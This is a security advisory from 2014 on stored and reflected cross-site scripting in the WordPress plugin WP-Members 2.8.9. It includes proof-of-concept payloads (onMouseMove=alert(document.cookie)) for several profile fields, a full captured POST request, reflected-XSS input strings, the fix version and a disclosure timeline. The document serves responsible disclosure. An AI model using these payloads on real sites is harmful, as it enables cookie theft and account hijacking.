Advisory: Wordpress Plugin WP-Members Version 2.8.9 - Stored and reflected Cross-site Scripting vulnerabilities
Advisory ID: SSCHADV2014-001
Author: Stefan Schurtz
Affected Software: Successfully tested on WP-Members Version 2.8.9
Vendor URL: http://wordpress.org/plugins/wp-members/
Vendor Status: fixed
==========================
Vulnerability Description
==========================
The Wordpress plugin "WP-Members 2.8.9" is prone to reflected and stored XSS vulnerabilities
==========================
PoC-Exploit
==========================
// Stored-XSS Profile "WP-Members Additional Fields" (Backend)
Works for Editor, Subscriber, Contributor and Author.
&addr1=" onMouseMove=alert(document.cookie) '
&addr2=" onMouseMove=alert(document.cookie) '
&city=" onMouseMove=alert(document.cookie) '
&thestate=" onMouseMove=alert(document.cookie) '
&zip=" onMouseMove=alert(document.cookie) '
&country=" onMouseMove=alert(document.cookie) '
&phone1=" onMouseMove=alert(document.cookie) '
// POST-Request
Host: [Host]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://[Host]/wordpress/wp-admin/profile.php?updated=1
Cookie: wordpress_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C82134b1dfc3cf2c7d02dc21bae10977a; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_53a61be1f4f2b42f29aacd17829b400a=user%7C1389143198%7C7c4a9b983a92d6c074e935263583cdf0; wp-settings-time-2=1388969329; wp-settings-2=editor%3Dhtml; PHPSESSID=9amg03t3qp8s54qh008slk4vo3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 500
_wpnonce=d3dce96663&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fprofile.php%3Fupdated%3D1&from=profile&checkuser_id=2&color-nonce=8b5d6b3e25&admin_color=fresh&admin_bar_front=1&first_name=user&last_name=Smith&nickname=user&display_name=user&email=user%40user.local&url=http%3A%2F%2F3&description=1&pass1=&pass2=&addr1=" onMouseMove=alert(document.cookie) '&addr2=&city=&thestate=&zip=&country=%22+onMouseMove%3Dalert%28document.cookie%29+%27&phone1=3&test=3&action=update&user_id=2&submit=Profil+aktualisieren
// Reflected Cross-site Scripting
(1) Install plugin
(2) http://[Host]/wp/wp-login.php?action=register
First Name: '"-->
Last Name: '"-->
Address 1: '"-->
Address 2: '"-->
City: '"-->
State: '"-->
Zip: '"-->
Country: '"-->
Day Phone: '"-->
==========================
Solution
==========================
Upgrade to the latest version WP-Members 2.8.10
==========================
Disclosure Timeline
==========================
05-Jan-2014 - vendor informed by email (plugins@wordpress.org)
06-Jan-2014 - feedback from vendor
07-Jan-2014 - fixed by vendor
==========================
Credits
==========================
Vulnerabilities found and advisory written by Stefan Schurtz.
==========================
References
==========================
http://wordpress.org/plugins/wp-members/
http://www.darksecurity.de/advisories/2014/SSCHADV2014-001.txt